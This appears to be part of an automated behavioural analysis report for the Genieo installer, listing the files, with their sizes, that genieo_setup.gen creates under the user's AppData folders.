C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\lang\field_fr.properties (1856 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\userpic_overlay.png (190 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\topicBg.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\lang\field_fr.json (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\tmpl3rightButton.png (711 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\core\img\disabled_nav_prev.gif (853 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\dfImg.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\facebookShareIcon.png (311 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\btn.png (750 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\cmd_close.png (155 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\photos.png (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\shared\js\const.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\notification_enabled_nav_next.png (150 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\pnf.gif (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\iPhoneOk.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\goRssButton.png (790 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\miniview\older_items_btn.png (249 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\settings\followbutton.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\topicDefault.png (478 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\twitter_icon.png (798 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\personalizationMeter\normalLevel.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\core\img\hide_notification.png (165 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\empty.gif (43 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\collage\template3.html (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\prowered_by_google.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\tm3frame_7.png (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\shared\js\DebugUtils.js (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\personalizationMeter\close.png (143 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\footer_bg.gif (834 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\disconnectTwitterBtn.png (690 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\shared\js\jquery-genieo-postmessage.js (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\birthday\popup_bg_white.png (121 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\previewShare.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\twitter_bird2.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\extSafariWin2.png (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\birthday\you_tube.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\pagelet_tip_yellow_down.png (191 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\tack5sm.png (961 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\footer_right_logo.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\core\img\redHome.png (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\reopen_btn.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\activity-indicator.gif (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\waitingTr.gif (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\magazinePreview\defaultCover.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\rss.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\css\layers.css (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\birthday\share_btn.png (553 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\medium_video_frame.png (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\hover_bg.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\css\personalizationMeter.css (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\fb_icon_big.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\sethpButton.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\miniview\follow.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\js\anabel_ui_pages.js (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\iphone.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\set_as_homepage_bg.png (993 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\fb.gif (97 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\default_favicon.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\tutorial.png (5520 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\magazinePreview\strip.png (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\waiting.gif (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\tm3frame_2.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\css\settings.css (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\miniview\actions.png (588 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\menu_bg.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\shared\js\translator.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\core\img\red_arror_down.png (143 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\tack4sm.png (961 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\notif_big\img\warning.png (380 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\videobutton.png (862 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\x_white.png (222 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\feedbackButton.png (851 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\core\img\noItems.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\miniview\x_white.gif (53 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\genieo_slogan_inner_fr.png (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\tmpl3leftButton.png (687 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\redarr.png (484 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\footer_sep.gif (52 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\notif\img\dfImg.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\forPictures.png (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\js\layers.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\core\js\notification-debug.js (534 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\tm1frame2sm.png (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\wt.png (331 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\arrow_down_disable.gif (821 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\miniview\open_splash.png (696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\poweredByGenieo.png (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\sendFeedbackButton2.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\shortcut.png (381 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\weather-clear.png (682 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\item_controls_bg.png (167 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\connect_with_facebook.png (828 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\notif\js\classes.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\easer.png (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\core\img\disabled_nav_prev2.gif (88 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\notif_big\img\social_box.png (253 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\notif\img\notification_controls.png (478 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\objectivehot_enabled_nav_next.png (150 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\notif_big\tpl\main.tpl (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\underconstructions.jpg (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\tm3frame_10sm.png (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\miniview\loader.gif (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\personalizationMeter\redArrow.png (262 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\core\img\sad.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\notif_big\img\play_icon.png (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\noPicture_.png (976 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\miniview\play_big.png (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\tools.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\trash.png (515 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\genieo_logo.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\shared\js\template_factory.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\twitter_v.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\icons\thumb_down.png (703 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\css\miniview.css (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\mobile.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\js\Renderers.js (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\defaultPicture.png (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\template2sm.png (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\big_quote.gif (203 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\template1sm.jpg (2392 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\template3.jpg (3312 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\magazinePreview\coverShadow.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\bigHotItemIcon.png (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\core\img\prog_bar.gif (101 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\twit_pic.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\x_gray.png (193 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\pink.gif (801 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\topicDefault.gif (565 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\birthday.html (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\twitter_x.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\footer_left.png (256 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\notif\tpl\main.tpl (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\js\prototype.postmessage.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\tack2sm.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\weather-few-clouds.png (763 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\pagelet_tip_white_down.png (191 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\personalizationMeter\lowLevel.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\settings\okCancelButton.png (734 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\core\img\dfImg.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\core\img\dot_clear.gif (42 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\shared\js\genieo_is_installed.js (37 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\bday_image.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\css\ie9.css (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\.settings\org.eclipse.core.resources.prefs (124 bytes)

The process genieo_setup.gen:1484 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\cmd_close.gif (840 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\js\partnerConfig.js (937 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\tray\2_collecting.png (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\img\tray\1_downloading.png (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\js\partnerConfig.js (937 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\notification_disabled_nav_prev.png (164 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\icon-16-disabled.png (646 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\img\sensor-enable.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002_old\text (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\img\tray\down1.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\collapse.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\notification_enabled_nav_next.png (150 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\uninstall\gim394750002\genuninstallui.exe (1856 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\uninstall\genuninstallui.exe (1856 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\text\LicenseAgreement.txt (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\tray\down1.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\tray\tray_awaitingMessage.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\conf\partner.properties (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\img\firefox-bar-24.png (727 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\img\install_icon.ico (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\img\tray\down2.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\tray\complete.png (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\img\notification_rgn_image.bmp (3616 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\img\tray\prep_env_err.png (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\img\disable-transition-2.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nso9E81.tmp (25714 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\text\text.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\img\GenericApp.icns (4992 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\icon-16-enabled.png (537 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo_old\img\tray (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\tray\prep_env.png (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\tray\down3.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\desktop.ico (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\enabled_nav_next.gif (847 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\css\partner.css (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\disabled_nav_prev.gif (853 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\tray\tray_normal.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\notification_enabled_nav_prev.gif (853 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\img\sensor-disabled_18px.png (914 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\cmd_close.png (155 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\img\genieo-16icon-browser-disabled.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\img\tray\2_collecting.png (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\redHome.png (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\uninstall\gim394750002\partner_uninstall.exe (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\img\icon-16-disabled.png (646 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\notification_enabled_nav_next.gif (847 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\img\tray\down3.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\objectivehot_disabled_nav_prev.gif (853 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\text\en_text.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002_old (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\objectivehot_enabled_nav_prev.png (153 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nso9E82.tmp\KillProcDLL.dll (816 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\notification_disabled_nav_next.png (161 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\bin\license.exe (2392 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\img\tray\network_retry.png (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\hide_notfication_seperator.png (281 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\expand.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\css\partner.css (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\text\LicenseAgreement.txt (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\img\tray\uac_retry.png (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\objectivehot_enabled_nav_next.gif (847 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002_old\img\tray (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\img\firefox-bar-16.png (586 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\enabled_nav_prev.gif (853 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\img\sensor-enabled_18px.png (821 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\tray\down2.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\sensor-disabled_18px.png (914 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\img\tray\3_mapping.png (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\img\favicon.ico (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\sensor-enable.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\notification_enabled_nav_prev.png (153 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\GenericApp.icns (4992 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\objectivehot_disabled_nav_next.gif (855 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\install_icon.ico (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\favicon.ico (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\img\tray\complete.png (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\disable-transition-2.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\disabled_nav_next.gif (855 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\conf\partnerBannedList.dat (66 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\conf\partnerBannedList.dat (66 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\objectivehot_disabled_nav_next.png (161 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\objectivehot_enabled_nav_prev.gif (853 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\tray\off.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002_old\img (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\genieo-16icon-browser-disabled.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\img\tray\error.png (9 bytes)
